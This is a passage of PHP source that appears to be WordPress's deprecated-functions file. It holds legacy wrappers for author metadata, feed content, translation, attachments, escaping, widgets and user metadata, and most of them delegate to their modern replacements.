	return get_the_author_meta('display_name', $auth_id);
}

/**
 * Retrieve the URL to the home page of the author of the current post.
 *
 * @since 1.5.0
 * @deprecated 2.8.0 Use get_the_author_meta()
 * @see get_the_author_meta()
 *
 * @return string The URL to the author's page.
 */
function get_the_author_url() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'url\')' );
	return get_the_author_meta('url');
}

/**
 * Display the URL to the home page of the author of the current post.
 *
 * @since 0.71
 * @deprecated 2.8.0 Use the_author_meta()
 * @see the_author_meta()
 */
function the_author_url() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'url\')' );
	the_author_meta('url');
}

/**
 * Retrieve the ID of the author of the current post.
 *
 * @since 1.5.0
 * @deprecated 2.8.0 Use get_the_author_meta()
 * @see get_the_author_meta()
 *
 * @return string|int The author's ID.
 */
function get_the_author_ID() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'ID\')' );
	return get_the_author_meta('ID');
}

/**
 * Display the ID of the author of the current post.
 *
 * @since 0.71
 * @deprecated 2.8.0 Use the_author_meta()
 * @see the_author_meta()
 */
function the_author_ID() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'ID\')' );
	the_author_meta('ID');
}

/**
 * Display the post content for the feed.
 *
 * For encoding the HTML or the $encode_html parameter, there are three possible values:
 * - '0' will make urls footnotes and use make_url_footnote().
 * - '1' will encode special characters and automatically display all of the content.
 * - '2' will strip all HTML tags from the content.
 *
 * Also note that you cannot set the amount of words and not set the HTML encoding.
 * If that is the case, then the HTML encoding will default to 2, which will strip
 * all HTML tags.
 *
 * To restrict the amount of words of the content, you can use the cut parameter.
 * If the content is less than the amount, then there won't be any dots added to the end.
 * If there is content left over, then dots will be added and the rest of the content
 * will be removed.
 *
 * @since 0.71
 *
 * @deprecated 2.9.0 Use the_content_feed()
 * @see the_content_feed()
 *
 * @param string $more_link_text Optional. Text to display when more content is available
 *                               but not displayed. Default '(more...)'.
 * @param int    $stripteaser    Optional. Default 0.
 * @param string $more_file      Optional.
 * @param int    $cut            Optional. Amount of words to keep for the content.
 * @param int    $encode_html    Optional. How to encode the content.
 */
function the_content_rss($more_link_text='(more...)', $stripteaser=0, $more_file='', $cut = 0, $encode_html = 0) {
	_deprecated_function( __FUNCTION__, '2.9.0', 'the_content_feed()' );
	$content = get_the_content($more_link_text, $stripteaser);

	/**
	 * Filters the post content in the context of an RSS feed.
	 *
	 * @since 0.71
	 *
	 * @param string $content Content of the current post.
	 */
	$content = apply_filters('the_content_rss', $content);
	if ( $cut && !$encode_html )
		$encode_html = 2;
	if ( 1== $encode_html ) {
		$content = esc_html($content);
		$cut = 0;
	} elseif ( 0 == $encode_html ) {
		$content = make_url_footnote($content);
	} elseif ( 2 == $encode_html ) {
		$content = strip_tags($content);
	}
	if ( $cut ) {
		$blah = explode(' ', $content);
		if ( count($blah) > $cut ) {
			$k = $cut;
			$use_dotdotdot = 1;
		} else {
			$k = count($blah);
			$use_dotdotdot = 0;
		}

		/** @todo Check performance, might be faster to use array slice instead. */
		for ( $i=0; $i<$k; $i++ )
			$excerpt .= $blah[$i].' ';
		$excerpt .= ($use_dotdotdot) ? '...' : '';
		$content = $excerpt;
	}
	$content = str_replace(']]>', ']]&gt;', $content);
	echo $content;
}

/**
 * Strip HTML and put links at the bottom of stripped content.
 *
 * Searches for all of the links, strips them out of the content, and places
 * them at the bottom of the content with numbers.
 *
 * @since 0.71
 * @deprecated 2.9.0
 *
 * @param string $content Content to get links.
 * @return string HTML stripped out of content with links at the bottom.
 */
function make_url_footnote( $content ) {
	_deprecated_function( __FUNCTION__, '2.9.0', '' );
	preg_match_all( '/<a(.+?)href=\"(.+?)\"(.*?)>(.+?)<\/a>/', $content, $matches );
	$links_summary = "\n";
	for ( $i = 0, $c = count( $matches[0] ); $i < $c; $i++ ) {
		$link_match = $matches[0][$i];
		$link_number = '['.($i+1).']';
		$link_url = $matches[2][$i];
		$link_text = $matches[4][$i];
		$content = str_replace( $link_match, $link_text . ' ' . $link_number, $content );
		$link_url = ( ( strtolower( substr( $link_url, 0, 7 ) ) !== 'http://' ) && ( strtolower( substr( $link_url, 0, 8 ) ) !== 'https://' ) ) ? get_option( 'home' ) . $link_url : $link_url;
		$links_summary .= "\n" . $link_number . ' ' . $link_url;
	}
	$content  = strip_tags( $content );
	$content .= $links_summary;
	return $content;
}

/**
 * Retrieve translated string with vertical bar context
 *
 * Quite a few times, there will be collisions with similar translatable text
 * found in more than two places but with different translated context.
 *
 * In order to use the separate contexts, the _c() function is used and the
 * translatable string uses a pipe ('|') which has the context the string is in.
 *
 * When the translated string is returned, it is everything before the pipe, not
 * including the pipe character. If there is no pipe in the translated text then
 * everything is returned.
 *
 * @since 2.2.0
 * @deprecated 2.9.0 Use _x()
 * @see _x()
 *
 * @param string $text Text to translate.
 * @param string $domain Optional. Domain to retrieve the translated text.
 * @return string Translated context string without pipe.
 */
function _c( $text, $domain = 'default' ) {
	_deprecated_function( __FUNCTION__, '2.9.0', '_x()' );
	return before_last_bar( translate( $text, $domain ) );
}

/**
 * Translates $text like translate(), but assumes that the text
 * contains a context after its last vertical bar.
 *
 * @since 2.5.0
 * @deprecated 3.0.0 Use _x()
 * @see _x()
 *
 * @param string $text Text to translate.
 * @param string $domain Domain to retrieve the translated text.
 * @return string Translated text.
 */
function translate_with_context( $text, $domain = 'default' ) {
	_deprecated_function( __FUNCTION__, '2.9.0', '_x()' );
	return before_last_bar( translate( $text, $domain ) );
}

/**
 * Legacy version of _n(), which supports contexts.
 *
 * Strips everything from the translation after the last bar.
 *
 * @since 2.7.0
 * @deprecated 3.0.0 Use _nx()
 * @see _nx()
 *
 * @param string $single The text to be used if the number is singular.
 * @param string $plural The text to be used if the number is plural.
 * @param int    $number The number to compare against to use either the singular or plural form.
 * @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings.
 *                       Default 'default'.
 * @return string The translated singular or plural form.
 */
function _nc( $single, $plural, $number, $domain = 'default' ) {
	_deprecated_function( __FUNCTION__, '2.9.0', '_nx()' );
	return before_last_bar( _n( $single, $plural, $number, $domain ) );
}

/**
 * Retrieve the plural or single form based on the amount.
 *
 * @since 1.2.0
 * @deprecated 2.8.0 Use _n()
 * @see _n()
 */
function __ngettext( ...$args ) { // phpcs:ignore PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
	_deprecated_function( __FUNCTION__, '2.8.0', '_n()' );
	return _n( ...$args );
}

/**
 * Register plural strings in POT file, but don't translate them.
 *
 * @since 2.5.0
 * @deprecated 2.8.0 Use _n_noop()
 * @see _n_noop()
 */
function __ngettext_noop( ...$args ) { // phpcs:ignore PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
	_deprecated_function( __FUNCTION__, '2.8.0', '_n_noop()' );
	return _n_noop( ...$args );

}

/**
 * Retrieve all autoload options, or all options if no autoloaded ones exist.
 *
 * @since 1.0.0
 * @deprecated 3.0.0 Use wp_load_alloptions())
 * @see wp_load_alloptions()
 *
 * @return array List of all options.
 */
function get_alloptions() {
	_deprecated_function( __FUNCTION__, '3.0.0', 'wp_load_alloptions()' );
	return wp_load_alloptions();
}

/**
 * Retrieve HTML content of attachment image with link.
 *
 * @since 2.0.0
 * @deprecated 2.5.0 Use wp_get_attachment_link()
 * @see wp_get_attachment_link()
 *
 * @param int   $id       Optional. Post ID.
 * @param bool  $fullsize Optional. Whether to use full size image. Default false.
 * @param array $max_dims Optional. Max image dimensions.
 * @param bool $permalink Optional. Whether to include permalink to image. Default false.
 * @return string
 */
function get_the_attachment_link($id = 0, $fullsize = false, $max_dims = false, $permalink = false) {
	_deprecated_function( __FUNCTION__, '2.5.0', 'wp_get_attachment_link()' );
	$id = (int) $id;
	$_post = get_post($id);

	if ( ('attachment' != $_post->post_type) || !$url = wp_get_attachment_url($_post->ID) )
		return __('Missing Attachment');

	if ( $permalink )
		$url = get_attachment_link($_post->ID);

	$post_title = esc_attr($_post->post_title);

	$innerHTML = get_attachment_innerHTML($_post->ID, $fullsize, $max_dims);
	return "<a href='$url' title='$post_title'>$innerHTML</a>";
}

/**
 * Retrieve icon URL and Path.
 *
 * @since 2.1.0
 * @deprecated 2.5.0 Use wp_get_attachment_image_src()
 * @see wp_get_attachment_image_src()
 *
 * @param int  $id       Optional. Post ID.
 * @param bool $fullsize Optional. Whether to have full image. Default false.
 * @return array Icon URL and full path to file, respectively.
 */
function get_attachment_icon_src( $id = 0, $fullsize = false ) {
	_deprecated_function( __FUNCTION__, '2.5.0', 'wp_get_attachment_image_src()' );
	$id = (int) $id;
	if ( !$post = get_post($id) )
		return false;

	$file = get_attached_file( $post->ID );

	if ( !$fullsize && $src = wp_get_attachment_thumb_url( $post->ID ) ) {
		// We have a thumbnail desired, specified and existing.

		$src_file = wp_basename($src);
	} elseif ( wp_attachment_is_image( $post->ID ) ) {
		// We have an image without a thumbnail.

		$src = wp_get_attachment_url( $post->ID );
		$src_file = & $file;
	} elseif ( $src = wp_mime_type_icon( $post->ID, '.svg' ) ) {
		// No thumb, no image. We'll look for a mime-related icon instead.

		/** This filter is documented in wp-includes/post.php */
		$icon_dir = apply_filters( 'icon_dir', get_template_directory() . '/images' );
		$src_file = $icon_dir . '/' . wp_basename($src);
	}

	if ( !isset($src) || !$src )
		return false;

	return array($src, $src_file);
}

/**
 * Retrieve HTML content of icon attachment image element.
 *
 * @since 2.0.0
 * @deprecated 2.5.0 Use wp_get_attachment_image()
 * @see wp_get_attachment_image()
 *
 * @param int   $id       Optional. Post ID.
 * @param bool  $fullsize Optional. Whether to have full size image. Default false.
 * @param array $max_dims Optional. Dimensions of image.
 * @return string|false HTML content.
 */
function get_attachment_icon( $id = 0, $fullsize = false, $max_dims = false ) {
	_deprecated_function( __FUNCTION__, '2.5.0', 'wp_get_attachment_image()' );
	$id = (int) $id;
	if ( !$post = get_post($id) )
		return false;

	if ( !$src = get_attachment_icon_src( $post->ID, $fullsize ) )
		return false;

	list($src, $src_file) = $src;

	// Do we need to constrain the image?
	if ( ($max_dims = apply_filters('attachment_max_dims', $max_dims)) && file_exists($src_file) ) {

		$imagesize = wp_getimagesize($src_file);

		if (($imagesize[0] > $max_dims[0]) || $imagesize[1] > $max_dims[1] ) {
			$actual_aspect = $imagesize[0] / $imagesize[1];
			$desired_aspect = $max_dims[0] / $max_dims[1];

			if ( $actual_aspect >= $desired_aspect ) {
				$height = $actual_aspect * $max_dims[0];
				$constraint = "width='{$max_dims[0]}' ";
				$post->iconsize = array($max_dims[0], $height);
			} else {
				$width = $max_dims[1] / $actual_aspect;
				$constraint = "height='{$max_dims[1]}' ";
				$post->iconsize = array($width, $max_dims[1]);
			}
		} else {
			$post->iconsize = array($imagesize[0], $imagesize[1]);
			$constraint = '';
		}
	} else {
		$constraint = '';
	}

	$post_title = esc_attr($post->post_title);

	$icon = "<img src='$src' title='$post_title' alt='$post_title' $constraint/>";

	return apply_filters( 'attachment_icon', $icon, $post->ID );
}

/**
 * Retrieve HTML content of image element.
 *
 * @since 2.0.0
 * @deprecated 2.5.0 Use wp_get_attachment_image()
 * @see wp_get_attachment_image()
 *
 * @param int   $id       Optional. Post ID.
 * @param bool  $fullsize Optional. Whether to have full size image. Default false.
 * @param array $max_dims Optional. Dimensions of image.
 * @return string|false
 */
function get_attachment_innerHTML($id = 0, $fullsize = false, $max_dims = false) {
	_deprecated_function( __FUNCTION__, '2.5.0', 'wp_get_attachment_image()' );
	$id = (int) $id;
	if ( !$post = get_post($id) )
		return false;

	if ( $innerHTML = get_attachment_icon($post->ID, $fullsize, $max_dims))
		return $innerHTML;

	$innerHTML = esc_attr($post->post_title);

	return apply_filters('attachment_innerHTML', $innerHTML, $post->ID);
}

/**
 * Retrieves bookmark data based on ID.
 *
 * @since 2.0.0
 * @deprecated 2.1.0 Use get_bookmark()
 * @see get_bookmark()
 *
 * @param int    $bookmark_id ID of link
 * @param string $output      Optional. Type of output. Accepts OBJECT, ARRAY_N, or ARRAY_A.
 *                            Default OBJECT.
 * @param string $filter      Optional. How to filter the link for output. Accepts 'raw', 'edit',
 *                            'attribute', 'js', 'db', or 'display'. Default 'raw'.
 * @return object|array Bookmark object or array, depending on the type specified by `$output`.
 */
function get_link( $bookmark_id, $output = OBJECT, $filter = 'raw' ) {
	_deprecated_function( __FUNCTION__, '2.1.0', 'get_bookmark()' );
	return get_bookmark($bookmark_id, $output, $filter);
}

/**
 * Checks and cleans a URL.
 *
 * A number of characters are removed from the URL. If the URL is for displaying
 * (the default behavior) ampersands are also replaced. The 'clean_url' filter
 * is applied to the returned cleaned URL.
 *
 * @since 1.2.0
 * @deprecated 3.0.0 Use esc_url()
 * @see esc_url()
 *
 * @param string $url The URL to be cleaned.
 * @param array $protocols Optional. An array of acceptable protocols.
 * @param string $context Optional. How the URL will be used. Default is 'display'.
 * @return string The cleaned $url after the {@see 'clean_url'} filter is applied.
 */
function clean_url( $url, $protocols = null, $context = 'display' ) {
	if ( $context == 'db' )
		_deprecated_function( 'clean_url( $context = \'db\' )', '3.0.0', 'sanitize_url()' );
	else
		_deprecated_function( __FUNCTION__, '3.0.0', 'esc_url()' );
	return esc_url( $url, $protocols, $context );
}

/**
 * Escape single quotes, specialchar double quotes, and fix line endings.
 *
 * The filter {@see 'js_escape'} is also applied by esc_js().
 *
 * @since 2.0.4
 * @deprecated 2.8.0 Use esc_js()
 * @see esc_js()
 *
 * @param string $text The text to be escaped.
 * @return string Escaped text.
 */
function js_escape( $text ) {
	_deprecated_function( __FUNCTION__, '2.8.0', 'esc_js()' );
	return esc_js( $text );
}

/**
 * Legacy escaping for HTML blocks.
 *
 * @deprecated 2.8.0 Use esc_html()
 * @see esc_html()
 *
 * @param string       $text          Text to escape.
 * @param string       $quote_style   Unused.
 * @param false|string $charset       Unused.
 * @param false        $double_encode Whether to double encode. Unused.
 * @return string Escaped `$text`.
 */
function wp_specialchars( $text, $quote_style = ENT_NOQUOTES, $charset = false, $double_encode = false ) {
	_deprecated_function( __FUNCTION__, '2.8.0', 'esc_html()' );
	if ( func_num_args() > 1 ) { // Maintain back-compat for people passing additional arguments.
		return _wp_specialchars( $text, $quote_style, $charset, $double_encode );
	} else {
		return esc_html( $text );
	}
}

/**
 * Escaping for HTML attributes.
 *
 * @since 2.0.6
 * @deprecated 2.8.0 Use esc_attr()
 * @see esc_attr()
 *
 * @param string $text
 * @return string
 */
function attribute_escape( $text ) {
	_deprecated_function( __FUNCTION__, '2.8.0', 'esc_attr()' );
	return esc_attr( $text );
}

/**
 * Register widget for sidebar with backward compatibility.
 *
 * Allows $name to be an array that accepts either three elements to grab the
 * first element and the third for the name or just uses the first element of
 * the array for the name.
 *
 * Passes to wp_register_sidebar_widget() after argument list and backward
 * compatibility is complete.
 *
 * @since 2.2.0
 * @deprecated 2.8.0 Use wp_register_sidebar_widget()
 * @see wp_register_sidebar_widget()
 *
 * @param string|int $name            Widget ID.
 * @param callable   $output_callback Run when widget is called.
 * @param string     $classname       Optional. Classname widget option. Default empty.
 * @param mixed      ...$params       Widget parameters.
 */
function register_sidebar_widget($name, $output_callback, $classname = '', ...$params) {
	_deprecated_function( __FUNCTION__, '2.8.0', 'wp_register_sidebar_widget()' );
	// Compat.
	if ( is_array( $name ) ) {
		if ( count( $name ) === 3 ) {
			$name = sprintf( $name[0], $name[2] );
		} else {
			$name = $name[0];
		}
	}

	$id      = sanitize_title( $name );
	$options = array();
	if ( ! empty( $classname ) && is_string( $classname ) ) {
		$options['classname'] = $classname;
	}

	wp_register_sidebar_widget( $id, $name, $output_callback, $options, ...$params );
}

/**
 * Serves as an alias of wp_unregister_sidebar_widget().
 *
 * @since 2.2.0
 * @deprecated 2.8.0 Use wp_unregister_sidebar_widget()
 * @see wp_unregister_sidebar_widget()
 *
 * @param int|string $id Widget ID.
 */
function unregister_sidebar_widget($id) {
	_deprecated_function( __FUNCTION__, '2.8.0', 'wp_unregister_sidebar_widget()' );
	return wp_unregister_sidebar_widget($id);
}

/**
 * Registers widget control callback for customizing options.
 *
 * Allows $name to be an array that accepts either three elements to grab the
 * first element and the third for the name or just uses the first element of
 * the array for the name.
 *
 * Passes to wp_register_widget_control() after the argument list has
 * been compiled.
 *
 * @since 2.2.0
 * @deprecated 2.8.0 Use wp_register_widget_control()
 * @see wp_register_widget_control()
 *
 * @param int|string $name             Sidebar ID.
 * @param callable   $control_callback Widget control callback to display and process form.
 * @param int        $width            Widget width.
 * @param int        $height           Widget height.
 * @param mixed      ...$params        Widget parameters.
 */
function register_widget_control($name, $control_callback, $width = '', $height = '', ...$params) {
	_deprecated_function( __FUNCTION__, '2.8.0', 'wp_register_widget_control()' );
	// Compat.
	if ( is_array( $name ) ) {
		if ( count( $name ) === 3 ) {
			$name = sprintf( $name[0], $name[2] );
		} else {
			$name = $name[0];
		}
	}

	$id      = sanitize_title( $name );
	$options = array();
	if ( ! empty( $width ) ) {
		$options['width'] = $width;
	}
	if ( ! empty( $height ) ) {
		$options['height'] = $height;
	}

	wp_register_widget_control( $id, $name, $control_callback, $options, ...$params );
}

/**
 * Alias of wp_unregister_widget_control().
 *
 * @since 2.2.0
 * @deprecated 2.8.0 Use wp_unregister_widget_control()
 * @see wp_unregister_widget_control()
 *
 * @param int|string $id Widget ID.
 */
function unregister_widget_control($id) {
	_deprecated_function( __FUNCTION__, '2.8.0', 'wp_unregister_widget_control()' );
	return wp_unregister_widget_control($id);
}

/**
 * Remove user meta data.
 *
 * @since 2.0.0
 * @deprecated 3.0.0 Use delete_user_meta()
 * @see delete_user_meta()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $user_id User ID.
 * @param string $meta_key Metadata key.
 * @param mixed $meta_value Optional. Metadata value. Default empty.
 * @return bool True deletion completed and false if user_id is not a number.
 */
function delete_usermeta( $user_id, $meta_key, $meta_value = '' ) {
	_deprecated_function( __FUNCTION__, '3.0.0', 'delete_user_meta()' );
	global $wpdb;
	if ( !is_numeric( $user_id ) )
		return false;
	$meta_key = preg_replace('|[^a-z0-9_]|i', '', $meta_key);

	if ( is_array($meta_value) || is_object($meta_value) )
		$meta_value = serialize($meta_value);
	$meta_value = trim( $meta_value );

	$cur = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s", $user_id, $meta_key) );

	if ( $cur && $cur->umeta_id )
		do_action( 'delete_usermeta', $cur->umeta_id, $user_id, $meta_key, $meta_value );

	if ( ! empty($meta_value) )
		$wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s AND meta_value = %s", $user_id, $meta_key, $meta_value) );
	else
		$wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s", $user_id, $meta_key) );

	clean_user_cache( $user_id );
	wp_cache_delete( $user_id, 'user_meta' );

	if ( $cur && $cur->umeta_id )
		do_action( 'deleted_usermeta', $cur->umeta_id, $user_id, $meta_key, $meta_value );

	return true;
}

/**
 * Retrieve user metadata.
 *
 * If $user_id is not a number, then the function will fail over with a 'false'
 * boolean return value. Other returned values depend on whether there is only
 * one item to be returned, which be that single item type. If there is more
 * than one metadata value, then it will be list of metadata values.
 *
 * @since 2.0.0
 * @deprecated 3.0.0 Use get_user_meta()
 * @see get_user_meta()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $user_id User ID
 * @param string $meta_key Optional. Metadata key. Default empty.
 * @return mixed
 */
function get_usermeta( $user_id, $meta_key = '' ) {
	_deprecated_function( __FUNCTION__, '3.0.0', 'get_user_meta()' );
	global $wpdb;
	$user_id = (int) $user_id;

	if ( !$user_id )
		return false;

	if ( !empty($meta_key) ) {
		$meta_key = preg_replace('|[^a-z0-9_]|i', '', $meta_key);
		$user = wp_cache_get($user_id, 'users');
		// Check the cached user object.
		if ( false !== $user && isset($user->$meta_key) )
			$metas = array($user->$meta_key);
		else
			$metas = $wpdb->get_col( $wpdb->prepare("SELECT meta_value FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s", $user_id, $meta_key) );
	} else {
		$metas = $wpdb->get_col( $wpdb->prepare("SELECT meta_value FROM $wpdb->usermeta WHERE user_id = %d", $user_id) );
	}

	if ( empty($metas) ) {
		if ( empty($meta_key) )
			return array();
		else
			return '';
	}

	$metas = array_map('maybe_unserialize', $metas);

	if ( count($metas) === 1 )
		return $metas[0];
	else
		return $metas;
}

/**
 * Update metadata of user.
 *
 * There is no need to serialize values, they will be serialized if it is
 * needed. The metadata key can only be a string with underscores. All else will
 * be removed.
 *
 * Will remove the metadata, if the meta value is empty.
 *
 * @since 2.0.0
 * @deprecated 3.0.0 Use update_user_meta()
 * @see update_user_meta()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $user_id User ID
 * @param string $meta_key Metadata key.
 * @param mixed $meta_value Metadata value.
 * @return bool True on successful update, false on failure.
 */
function update_usermeta( $user_id, $meta_key, $meta_value ) {
	_deprecated_function( __FUNCTION__, '3.0.0', 'update_user_meta()' );
	global $wpdb;
	if ( !is_numeric( $user_id ) )
		return false;
	$meta_key = preg_replace('|[^a-z0-9_]|i', '', $meta_key);

	/** @todo Might need fix because usermeta data is assumed to be already escaped */
	if ( is_string($meta_value) )
		$meta_value = stripslashes($meta_value);
	$meta_value = maybe_serialize($meta_value);

	if (empty($meta_value)) {
		return delete_usermeta($user_id, $meta_key);
	}

	$cur = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s", $user_id, $meta_key) );

	if ( $cur )
		do_action( 'update_usermeta', $cur->umeta_id, $user_id, $meta_key, $meta_value );

	if ( !$cur )
		$wpdb->insert($wpdb->usermeta, compact('user_id', 'meta_key', 'meta_value') );
	elseif ( $cur->meta_value != $meta_value )
		$wpdb->update($wpdb->usermeta, compact('meta_value'), compact('user_id', 'meta_key') );
	else
		return false;

	clean_user_cache( $user_id );
	wp_cache_delete( $user_id, 'user_meta' );

	if ( !$cur )
		do_action( 'added_usermeta', $wpdb->insert_id, $user_id, $meta_key, $meta_value );
	else
		do_action( 'updated_usermeta', $cur->umeta_id, $user_id, $meta_key, $meta_value );

	return true;
}

/**
 * Get users for the site.
 *
 * For setups that use the multisite feature. Can be used outside of the
 * multisite feature.
 *
 * @since 2.2.0
 * @deprecated 3.1.0 Use get_users()
 * @see get_users()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $id Site ID.
 * @return array List of users that are part of that site ID
 */
function get_users_of_blog( $id = '' ) {
	_deprecated_function( __FUNCTION__, '3.1.0', 'get_users()' );

	global $wpdb;
	if ( empty( $id ) ) {
		$id = get_current_blog_id();
	}
	$blog_prefix = $wpdb->get_blog_prefix($id);
	$users = $wpdb->get_results( "SELECT user_id, user_id AS ID, user_login, display_name, user_email, meta_value FROM $wpdb->users, $wpdb->usermeta WHERE {$wpdb->users}.ID = {$wpdb->usermeta}.user_id AND meta_key = '{$blog_prefix}capabilities' ORDER BY {$wpdb->usermeta}.user_id" );
	return $users;
}

/**
 * Enable/disable automatic general feed link outputting.
 *
 * @since 2.8.0
 * @deprecated 3.0.0 Use add_theme_support()
 * @see add_theme_support()
 *
 * @param bool $add Optional. Add or remove links. Default true.
 */
function automatic_feed_links( $add = true ) {
	_deprecated_function( __FUNCTION__, '3.0.0', "add_theme_support( 'automatic-feed-links' )" );

	if ( $add )
		add_theme_support( 'automatic-feed-links' );
	else
		remove_action( 'wp_head', 'feed_links_extra', 3 ); // Just do this yourself in 3.0+.
}

/**
 * Retrieve user data based on field.
 *
 * @since 1.5.0
 * @deprecated 3.0.0 Use get_the_author_meta()
 * @see get_the_author_meta()
 *
 * @param string    $field User meta field.
 * @param false|int $user  Optional. User ID to retrieve the field for. Default false (current user).
 * @return string The author's field from the current author's DB object.
 */
function get_profile( $field, $user = false ) {
	_deprecated_function( __FUNCTION__, '3.0.0', 'get_the_author_meta()' );
	if ( $user ) {
		$user = get_user_by( 'login', $user );
		$user = $user->ID;
	}
	return get_the_author_meta( $field, $user );
}

/**
 * Retrieves the number of posts a user has written.
 *
 * @since 0.71
 * @deprecated 3.0.0 Use count_user_posts()
 * @see count_user_posts()
 *
 * @param int $userid User to count posts for.
 * @return int Number of posts the given user has written.
 */
function get_usernumposts( $userid ) {
	_deprecated_function( __FUNCTION__, '3.0.0', 'count_user_posts()' );
	return count_user_posts( $userid );
}

/**
 * Callback used to change %uXXXX to &#YYY; syntax
 *
 * @since 2.8.0
 * @access private
 * @deprecated 3.0.0
 *
 * @param array $matches Single Match
 * @return string An HTML entity
 */
function funky_javascript_callback($matches) {
	return "&#".base_convert($matches[1],16,10).";";
}

/**
 * Fixes JavaScript bugs in browsers.
 *
 * Converts unicode characters to HTML numbered entities.
 *
 * @since 1.5.0
 * @deprecated 3.0.0
 *
 * @global $is_macIE
 * @global $is_winIE
 *
 * @param string $text Text to be made safe.
 * @return string Fixed text.
 */
function funky_javascript_fix($text) {
	_deprecated_function( __FUNCTION__, '3.0.0' );
	// Fixes for browsers' JavaScript bugs.
	global $is_macIE, $is_winIE;

	if ( $is_winIE || $is_macIE )
		$text =  preg_replace_callback("/\%u([0-9A-F]{4,4})/",
					"funky_javascript_callback",
					$text);

	return $text;
}

/**
 * Checks that the taxonomy name exists.
 *
 * @since 2.3.0
 * @deprecated 3.0.0 Use taxonomy_exists()
 * @see taxonomy_exists()
 *
 * @param string $taxonomy Name of taxonomy object
 * @return bool Whether the taxonomy exists.
 */
function is_taxonomy( $taxonomy ) {
	_deprecated_function( __FUNCTION__, '3.0.0', 'taxonomy_exists()' );
	return taxonomy_exists( $taxonomy );
}

/**
 * Check if Term exists.
 *
 * @since 2.3.0
 * @deprecated 3.0.0 Use term_exists()
 * @see term_exists()
 *
 * @param int|string $term The term to check
 * @param string $taxonomy The taxonomy name to use
 * @param int $parent ID of parent term under which to confine the exists search.
 * @return mixed Get the term ID or term object, if exists.
 */
function is_term( $term, $taxonomy = '', $parent = 0 ) {
	_deprecated_function( __FUNCTION__, '3.0.0', 'term_exists()' );
	return term_exists( $term, $taxonomy, $parent );
}

/**
 * Determines whether the current admin page is generated by a plugin.
 *
 * Use global $plugin_page and/or get_plugin_page_hookname() hooks.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 * @deprecated 3.1.0
 *
 * @global $plugin_page
 *
 * @return bool
 */
function is_plugin_page() {
	_deprecated_function( __FUNCTION__, '3.1.0' );

	global $plugin_page;

	if ( isset($plugin_page) )
		return true;

	return false;
}

/**
 * Update the categories cache.
 *
 * This function does not appear to be used anymore or does not appear to be
 * needed. It might be a legacy function left over from when there was a need
 * for updating the category cache.
 *
 * @since 1.5.0
 * @deprecated 3.1.0
 *
 * @return bool Always return True
 */
function update_category_cache() {
	_deprecated_function( __FUNCTION__, '3.1.0' );

	return true;
}

/**
 * Check for PHP timezone support
 *
 * @since 2.9.0
 * @deprecated 3.2.0
 *
 * @return bool
 */
function wp_timezone_supported() {
	_deprecated_function( __FUNCTION__, '3.2.0' );

	return true;
}

/**
 * Displays an editor: TinyMCE, HTML, or both.
 *
 * @since 2.1.0
 * @deprecated 3.3.0 Use wp_editor()
 * @see wp_editor()
 *
 * @param string $content       Textarea content.
 * @param string $id            Optional. HTML ID attribute value. Default 'content'.
 * @param string $prev_id       Optional. Unused.
 * @param bool   $media_buttons Optional. Whether to display media buttons. Default true.
 * @param int    $tab_index     Optional. Unused.
 * @param bool   $extended      Optional. Unused.
 */
function the_editor($content, $id = 'content', $prev_id = 'title', $media_buttons = true, $tab_index = 2, $extended = true) {
	_deprecated_function( __FUNCTION__, '3.3.0', 'wp_editor()' );

	wp_editor( $content, $id, array( 'media_buttons' => $media_buttons ) );
}

/**
 * Perform the query to get the $metavalues array(s) needed by _fill_user and _fill_many_users
 *
 * @since 3.0.0
 * @deprecated 3.3.0
 *
 * @param array $ids User ID numbers list.
 * @return array of arrays. The array is indexed by user_id, containing $metavalues object arrays.
 */
function get_user_metavalues($ids) {
	_deprecated_function( __FUNCTION__, '3.3.0' );

	$objects = array();

	$ids = array_map('intval', $ids);
	foreach ( $ids as $id )
		$objects[$id] = array();

	$metas = update_meta_cache('user', $ids);

	foreach ( $metas as $id => $meta ) {
		foreach ( $meta as $key => $metavalues ) {
			foreach ( $metavalues as $value ) {
				$objects[$id][] = (object)array( 'user_id' => $id, 'meta_key' => $key, 'meta_value' => $value);
			}
		}
	}

	return $objects;
}

/**
 * Sanitize every user field.
 *
 * If the context is 'raw', then the user object or array will get minimal santization of the int fields.
 *
 * @since 2.3.0
 * @deprecated 3.3.0
 *
 * @param object|array $user    The user object or array.
 * @param string       $context Optional. How to sanitize user fields. Default 'display'.
 * @return object|array The now sanitized user object or array (will be the same type as $user).
 */
function sanitize_user_object($user, $context = 'display') {
	_deprecated_function( __FUNCTION__, '3.3.0' );

	if ( is_object($user) ) {
		if ( !isset($user->ID) )
			$user->ID = 0;
		if ( ! ( $user instanceof WP_User ) ) {
			$vars = get_object_vars($user);
			foreach ( array_keys($vars) as $field ) {
				if ( is_string($user->$field) || is_numeric($user->$field) )
					$user->$field = sanitize_user_field($field, $user->$field, $user->ID, $context);
			}
		}
		$user->filter = $context;
	} else {
		if ( !isset($user['ID']) )
			$user['ID'] = 0;
		foreach ( array_keys($user) as $field )
			$user[$field] = sanitize_user_field($field, $user[$field], $user['ID'], $context);
		$user['filter'] = $context;
	}

	return $user;
}

/**
 * Get boundary post relational link.
 *
 * Can either be start or end post relational link.
 *
